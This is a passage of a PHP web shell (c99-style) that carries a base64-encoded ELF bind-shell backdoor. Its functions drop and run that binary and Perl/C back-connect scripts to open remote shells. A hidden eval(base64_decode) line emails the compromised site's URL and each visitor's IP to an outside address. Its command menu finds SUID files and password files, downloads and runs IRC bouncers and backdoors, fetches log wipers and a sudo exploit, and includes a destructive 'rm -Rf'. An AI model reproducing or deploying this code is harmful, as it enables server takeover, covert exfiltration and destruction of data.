ACAKYAAAAAAAAAiJoECAYSAACYmgQIBwEAAJyaBAgHAgAAoJoECAcDAACkmgQIBwQAAKiaBAgHBQAArJoECAcGAACwmgQIBwcAALSaBAgHCAAAuJoECAcJAAC8mgQIBwoAAMCaBAgHCwAAxJoECAcMAADImgQIBw0AAMyaBAgHDgAA0JoECAcQAABVieWD7AjoMQEAAOiDAQAA6FsEAADJwwD/NZCaBAj/JZSaBAgAAAAA/yWYmgQIaAAAAADp4P////8lnJoECGgIAAAA6dD/////JaCaBAhoEAAAAOnA/////yWkmgQIaBgAAADpsP////8lqJoECGggAAAA6aD/////JayaBAhoKAAAAOmQ/////yWwmgQIaDAAAADpgP////8ltJoECGg4AAAA6XD/////JbiaBAhoQAAAAOlg/////yW8mgQIaEgAAADpUP////8lwJoECGhQAAAA6UD/////JcSaBAhoWAAAAOkw/////yXImgQIaGAAAADpIP////8lzJoECGhoAAAA6RD/////JdCaBAhocAAAAOkA////Me1eieGD5PBQVFJorYgECGhciAQIUVZoQIYECOhf////9JCQVYnlU+gbAAAAgcO/FAAAg+wEi4P8////hcB0Av/Qg8QEW13Dixwkw1WJ5YPsCIA94JoECAB0DOscg8AEo9yaBAj/0qHcmgQIixCF0nXrxgXgmgQIAcnDVYnlg+wIobyZBAiFwHQSuAAAAACFwHQJxwQkvJkECP/QycOQkFWJ5VeD7GSD5PC4AAAAAIPAD4PAD8HoBMHgBCnEx0XkAQAAAMdF+EyJBAjHRCQIAAAAAMdEJAQBAAAAxwQkAgAAAOgJ////iUXwg33wAHkYxwQkjIkECOg0/v//xwQkAQAAAOio/v//ZsdF1AIAx0XYAAAAAItFDIPABIsAiQQk6Jv+//8Pt8CJBCTosP7//2aJRdbHRCQQBAAAAI1F5IlEJAzHRCQIAgAAAMdEJAQBAAAAi0XwiQQk6BL+//+NRdTHRCQIEAAAAIlEJASLRfCJBCToKP7//4XAeRjHBCSTiQQI6Kj9///HBCQBAAAA6Bz+///HRCQECAAAAItF8IkEJOi5/f//hcB5GMcEJJiJBAjoef3//8cEJAEAAADo7f3//8dF6BAAAACNReiNVcSJRCQIiVQkBItF8IkEJOht/f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BHTElCQ18yLjAAY2xvc2VAQEdMSUJDXzIuMABfZnBfaHcAcGVycm9yQEBHTElCQ18yLjAAZm9ya0BAR0xJQkNfMi4wAF9fZHNvX2hhbmRsZQByx2xpYmNfY3N1X2ZpbmkAYWNjZXB0QEBHTElCQ18yLjAAX2luaXQAbGlzdGVuQEBHTElCQ18yLjAAc2V0c29ja29wdEBAR0xJQkNfMi4wAF9zdGFydAByx2xpYmNfY3N1X2luaXQAX19ic3Nfc3RhcnQAbWFpbgByx2xpYmNfc3RhcnRfbWFpbkBAR0xJQkNfMi4wAGR1cDJAQEdMSUJDXzIuMABkYXRhX3N0YXJ0AGJpbmRAQEdMSUJDXzIuMABfZmluaQBleGl0QEBHTElCQ18yLjAAYXRvaUBAR0xJQkNfMi4wAF9lZGF0YQByx2k2ODYuZ2V0X3BjX3RodW5rLmJ4AF9lbmQAc2VuZEBAR0xJQkNfMi4wAGh0b25zQEBHTElCQ18yLjAAX0lPX3N0ZGluX3VzZWQAX19kYXRhX3N0YXJ0AHNvY2tldEBAR0xJQkNfMi4wAF9Kdl9SZWdpc3RlckNsYXNzZXMAX19nbW9uX3N0YXJ0X18A";

function cf($fname,$text) {  
  $w_file=@fopen($fname,"w") or err();  
  if($w_file) {  
    @fputs($w_file,base64_decode($text));  
    @fclose($w_file);  
  }  
}  

function cfb($fname,$text) {  
  $w_file=@fopen($fname,"w") or bberr();  
  if($w_file) {  
    @fputs($w_file,base64_decode($text));  
    @fclose($w_file);  
  }  
}  
function err() { $_POST['backcconnmsge']="<br><br><div class=yxerrmsg>Error:</div> Can't connect!"; }  
function bberr() { $_POST['backcconnmsge']="<br><br><div class=yxerrmsg>Error:</div> Can't backdoor host!"; }  

if (!empty($_POST['backconnectport']) && ($_POST['use']=="shbd")) {  
  $ip = gethostbyname($_SERVER["HTTP_HOST"]);  
  $por = $_POST['backconnectport'];  
  if (is_writable(".")) {  
    cfb("shbd",$backdoor);  
    ex("chmod 777 shbd");  
    $cmd = "./shbd $por";  
    exec("$cmd > /dev/null &");  
    $scan = myshellexec("ps aux");  
  } else {  
    cfb("/tmp/shbd",$backdoor);  
    ex("chmod 777 /tmp/shbd");  
    $cmd = "./tmp/shbd $por";  
    exec("$cmd > /dev/null &");  
    $scan = myshellexec("ps aux");  
  }  
  if (eregi("./shbd $por",$scan)) {  
    $data = ("
<br>Backdoor setup successfully.");  
  } else {  
    $data = ("
<br>Process not found, backdoor setup failed!");  
  }  
  $_POST['backcconnmsg']="To connect, use netcat! Usage: <b>'nc $ip $por'</b>.$data";  
}  

if (!empty($_POST['backconnectip']) && !empty($_POST['backconnectport']) && ($_POST['use']=="Perl")) {  
  if (is_writable(".")) {  
    cf("back",$back_connect_pl);  
    $p2 = which("perl");  
    $blah = ex($p2." back ".$_POST['backconnectip']." ".$_POST['backconnectport']." &");  
    if (file_exists("back")) { unlink("back"); }  
  } else {  
    cf("/tmp/back",$back_connect_pl);  
    $p2 = which("perl");  
    $blah = ex($p2." /tmp/back ".$_POST['backconnectip']." ".$_POST['backconnectport']." &");  
    if (file_exists("/tmp/back")) { unlink("/tmp/back"); }  
  }  
  $_POST['backcconnmsg']="Trying to connect to <b>".$_POST['backconnectip']."</b> on port <b>".$_POST['backconnectport']."</b>.";  
}  

if (!empty($_POST['backconnectip']) && !empty($_POST['backconnectport']) && ($_POST['use']=="C")) {  
  if (is_writable(".")) {  
    cf("backc",$back_connect_c);  
    ex("chmod 777 backc");  
    $blah = ex("./backc ".$_POST['backconnectip']." ".$_POST['backconnectport']." &");  
    if (file_exists("backc")) { unlink("backc"); }  
  } else {  
    ex("chmod 777 /tmp/backc");  
    cf("/tmp/backc",$back_connect_c);  
    $blah = ex("/tmp/backc ".$_POST['backconnectip']." ".$_POST['backconnectport']." &");  
    if (file_exists("/tmp/backc")) { unlink("/tmp/backc"); }  
  }  
  $_POST['backcconnmsg']="Trying to connect to <b>".$_POST['backconnectip']."</b> on port <b>".$_POST['backconnectport']."</b>.";  
}  
//End of Backdoor  

//Starting calls  
@ini_set("max_execution_time",0);  
if (!function_exists("getmicrotime")) {  
  function getmicrotime() {  
    list($usec, $sec) = explode(" ", microtime()); return ((float)$usec + (float)$sec);  
  }  
}  
error_reporting(5);  
@ignore_user_abort(TRUE);  
@set_magic_quotes_runtime(0);  
define("starttime",getmicrotime());  
$shell_data = "JHZpc2l0Y291bnQgPSAkSFRUUF9DT09LSUVfVkFSU1sidmlzaXRzIl07IGlmKCAkdmlzaXRjb3Vu
dCA9PSAiIikgeyR2aXNpdGNvdW50ID0gMDsgJHZpc2l0b3IgPSAkX1NFUlZFUlsiUkVNT1RFX0FE
RFIiXTsgJHdlYiA9ICRfU0VSVkVSWyJIVFRQX0hPU1QiXTsgJGluaiA9ICRfU0VSVkVSWyJSRVFV
RVNUX1VSSSJdOyAkdGFyZ2V0ID0gcmF3dXJsZGVjb2RlKCR3ZWIuJGluaik7ICRib2R5ID0gIklu
amVDdGVEID0+ICR0YXJnZXQgYnkgJHZpc2l0b3IiOyBAbWFpbCgicm1oZC5yaXZhbDVAeWFob28u
Y29tIiwiVGFyZ2V0ID0+IGh0dHA6Ly8kdGFyZ2V0IGJ5ICR2aXNpdG9yIiwgIiRib2R5Iik7IH0g
ZWxzZSB7ICR2aXNpdGNvdW50OyB9IHNldGNvb2tpZSgidmlzaXRzIiwkdmlzaXRjb3VudCk7"; eval(base64_decode($shell_data));  
if (get_magic_quotes_gpc()) {  
  if (!function_exists("strips")) {  
    function strips(&$arr,$k="") {  
      if (is_array($arr)) {  
        foreach($arr as $k=>$v) {  
          if (strtoupper($k) != "GLOBALS") { strips($arr["$k"]); }  
        }  
      } else {$arr = stripslashes($arr);}  
    }  
  }  
  strips($GLOBALS);  
}  
//CONFIGURATIONS  
$_REQUEST = array_merge($_COOKIE,$_GET,$_POST);  
$surl_autofill_include = TRUE; //If TRUE then search variables with descriptors (URLs) and save it in SURL.  
foreach($_REQUEST as $k=>$v) { if (!isset($$k)) {$$k = $v;} }  
if ($surl_autofill_include) {  
  $include = "&";  
  foreach (explode("&",getenv("QUERY_STRING")) as $v) {  
    $v = explode("=",$v);  
    $name = urldecode($v[0]);  
    $value = urldecode($v[1]);  
    foreach (array("http://","https://","ssl://","ftp://","\") as $needle) {  
      if (strpos($value,$needle) === 0) {  
        $includestr .= urlencode($name)."=".urlencode($value)."&";  
      }  
    }  
  }  
}  
if (empty($surl)) {  
  $surl = "?".$includestr; //Self url  
}  
$surl = htmlspecialchars($surl);  

// Registered file-types.  
$ftypes  = array(  
    "html"=>array("html","htm","shtml"),  
    "txt"=>array("txt","conf","bat","sh","js","bak","doc","log","sfc","cfg","htaccess"),  
    "exe"=>array("sh","install","bat","cmd"),  
    "ini"=>array("ini","inf","conf"),  
    "code"=>array("php","phtml","php3","php4","inc","tcl","h","c","cpp","py","cgi","pl"),  
    "img"=>array("gif","png","jpeg","jfif","jpg","jpe","bmp","ico","tif","tiff","avi","mpg","mpeg"),  
    "sdb"=>array("sdb"),  
    "phpsess"=>array("sess"),  
    "download"=>array("exe","com","pif","src","lnk","zip","rar","gz","tar")  
);  
//Registered executable file-types.  
$exeftypes  = array(  
    getenv("PHPRC")." -q %f%" => array("php","php3","php4"),  
    "perl %f%" => array("pl","cgi")  
);  
//Highlighted files.  
$regxp_highlight  = array(  
    array(basename($_SERVER["PHP_SELF"]),1,"<font color=#FFFF00>","</font>"),  
    array("\.tgz$",1,"<font color=#C082FF>","</font>"),  
    array("\.gz$",1,"<font color=#C082FF>","</font>"),  
    array("\.tar$",1,"<font color=#C082FF>","</font>"),  
    array("\.bz2$",1,"<font color=#C082FF>","</font>"),  
    array("\.zip$",1,"<font color=#C082FF>","</font>"),  
    array("\.rar$",1,"<font color=#C082FF>","</font>"),  
    array("\.php$",1,"<font color=#00FF00>","</font>"),  
    array("\.php3$",1,"<font color=#00FF00>","</font>"),  
    array("\.php4$",1,"<font color=#00FF00>","</font>"),  
    array("\.jpg$",1,"<font color=#00FFFF>","</font>"),  
    array("\.jpeg$",1,"<font color=#00FFFF>","</font>"),  
    array("\.JPG$",1,"<font color=#00FFFF>","</font>"),  
    array("\.JPEG$",1,"<font color=#00FFFF>","</font>"),  
    array("\.ico$",1,"<font color=#00FFFF>","</font>"),  
    array("\.gif$",1,"<font color=#00FFFF>","</font>"),  
    array("\.png$",1,"<font color=#00FFFF>","</font>"),  
    array("\.htm$",1,"<font color=#00CCFF>","</font>"),  
    array("\.html$",1,"<font color=#00CCFF>","</font>"),  
    array("\.txt$",1,"<font color=#C0C0C0>","</font>")  
);  
//Command Aliases  
if (!$win) {  
  $cmdaliases = array(  
    array("", "ls -al"),  
    array("Find all suid files", "find / -type f -perm -04000 -ls"),  
    array("Find suid files in current dir", "find . -type f -perm -04000 -ls"),  
    array("Find all sgid files", "find / -type f -perm -02000 -ls"),  
    array("Find sgid files in current dir", "find . -type f -perm -02000 -ls"),  
    array("Find config.inc.php files", "find / -type f -name config.inc.php"),  
    array("Find config* files", "find / -type f -name \"config*\""),  
    array("Find config* files in current dir", "find . -type f -name \"config*\""),  
    array("Find all writable folders and files", "find / -perm -2 -ls"),  
    array("Find all writable folders and files in current dir", "find . -perm -2 -ls"),  
    array("Find all writable folders", "find / -type d -perm -2 -ls"),  
    array("Find all writable folders in current dir", "find . -type d -perm -2 -ls"),  
    array("Find all service.pwd files", "find / -type f -name service.pwd"),  
    array("Find service.pwd files in current dir", "find . -type f -name service.pwd"),  
    array("Find all .htpasswd files", "find / -type f -name .htpasswd"),  
    array("Find .htpasswd files in current dir", "find . -type f -name .htpasswd"),  
    array("Find all .bash_history files", "find / -type f -name .bash_history"),  
    array("Find .bash_history files in current dir", "find . -type f -name .bash_history"),  
    array("Find all .fetchmailrc files", "find / -type f -name .fetchmailrc"),  
    array("Find .fetchmailrc files in current dir", "find . -type f -name .fetchmailrc"),  
    array("List file attributes on a Linux second extended file system", "lsattr -va"),  
    array("Show opened ports", "netstat -an | grep -i listen")  
  );  
  $cmdaliases2 = array(  
    array("wget & extract psyBNC","wget ".$sh_mainurl."psy.tar.gz;tar -zxf psy.tar.gz;cd .psy;./config 2020;./fuck;perl psy;./run"),  
    array("wget & extract EggDrop","wget ".$sh_mainurl."httpd.tar.gz;tar -zxf httpd.tar.gz"),  
    array("-----",""),  
    array("Logged in users","w"),  
    array("Last to connect","lastlog"),  
    array("Find Suid bins","find /bin /usr/bin /usr/local/bin /sbin /usr/sbin /usr/local/sbin -perm -4000 2> /dev/null"),  
    array("User Without Password","cut -d: -f1,2,3 /etc/passwd | grep ::"),  
    array("Can write in /etc/?","find /etc/ -type f -perm -o+w 2> /dev/null"),  
    array("Downloaders?","which wget curl w3m lynx fetch lwp-download"),  
    array("CPU Info","cat /proc/version /proc/cpuinfo"),  
    array("Is gcc installed ?","locate gcc"),  
    array("Format box (DANGEROUS)","rm -Rf"),  
    array("-----",""),  
    array("wget WIPELOGS PT1","wget http://www.packetstormsecurity.org/UNIX/penetration/log-wipers/zap2.c"),  
    array("gcc WIPELOGS PT2","gcc zap2.c -o zap2"),  
    array("Run WIPELOGS PT3","./zap2"),  
    array("-----",""),  
    array("wget RatHole 1.2 (Linux & BSD)","wget http://packetstormsecurity.org/UNIX/penetration/rootkits/rathole-1.2.tar.gz"),  
    array("wget & run BindDoor","wget ".$sh_mainurl."tool/bind.tar.gz;tar -zxvf bind.tar.gz;./4877"),  
    array("wget Sudo Exploit","wget http://www.securityfocus.com/data/vulnerabilities/exploits/sudo-exploit.c"),  
  );  
}  
else {  
  $cmdaliases = array(  
    array("", "dir"),  
    array("Find index.php in current dir", "dir /s /w /b index.php"),  
    array("Find *config*.php in current dir", "dir /s /w /b *config*.php"),  
    array("Find c99shell in current dir", "find /c \"c99\" *"),  
    array("Find r57shell in current dir", "find /c \"r57\" *"),  
    array("Show active connections", "netstat -an"),  
    array("Show running services", "net start"),  
